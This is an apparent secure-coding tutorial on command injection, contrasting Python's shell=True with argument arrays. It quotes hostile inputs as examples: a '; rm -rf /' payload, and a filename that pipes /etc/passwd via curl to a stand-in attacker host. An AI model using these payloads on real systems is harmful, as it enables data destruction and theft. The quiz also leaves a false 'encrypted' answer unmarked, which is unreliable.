Command Injection (OS Injection)

When user input takes over your entire Linux server.

The idea

Command injection is a vulnerability where an application executes arbitrary Operating System (OS) commands provided by a user. It happens when an application passes unsafe user-supplied data (like forms, cookies, or HTTP headers) directly into a system shell using functions like `system()`, `exec()`, or `os.system()`.

This is arguably worse than SQL Injection, because gaining a shell on the server allows the attacker to pivot deeper into your infrastructure.

How it works (Avoid Shell Exec)

If you must execute a system command, NEVER use a function that spawns a full shell (`sh -c`). Instead, execute the binary directly and pass the user input strictly as an argument array, preventing shell metacharacters (like `&&`, `;`, `|`) from being evaluated.

import subprocess

# VULNERABLE: Spawns a shell. A user can input "8.8.8.8 ; rm -rf /"
def ping_server(ip_address):
    # shell=True is the root of all evil
    subprocess.run(f"ping -c 1 {ip_address}", shell=True)

# SECURE: Direct execution via arg array.
def ping_server(ip_address):
    # shell=False (default). The OS treats the entire string as one argument.
    # The "rm -rf" will literally be passed to 'ping', which will just fail.
    subprocess.run(["ping", "-c", "1", ip_address])

Watch out for

• Implicit Shells: Some languages like PHP (`shell_exec()`) or Node.js (`child_process.exec()`) implicitly spawn a shell. You must switch to non-shell alternatives (e.g., Node's `child_process.spawn()`).
• Filter Evasion: Trying to regex away semicolons or ampersands will fail. Attackers can use bash variables, backticks, or newline characters (`%0a`) to chain commands.
• Blind Injection: The output of the command isn't returned to the user, but the command still runs! Attackers detect this by running `sleep 10` and timing the response.

Worked example

An image processing app takes a user's uploaded filename and runs `imagemagick convert image.png`. A malicious user uploads a file named `a; cat /etc/passwd | curl -X POST -d @- http://hacker.com/steal`. The server processes the image, and then silently executes the second command, uploading its password file to the hacker.

Check yourself

Why is executing commands as an argument array `['ping', ip]` safe, while executing a concatenated string `ping + ip` via a shell dangerous?

Argument arrays are automatically encrypted before being sent to the kernel. A shell interprets characters like `;` and `|` as control operators to run new commands. Passing an array directly to the system `execve` syscall bypasses the shell completely, treating the input purely as a string argument.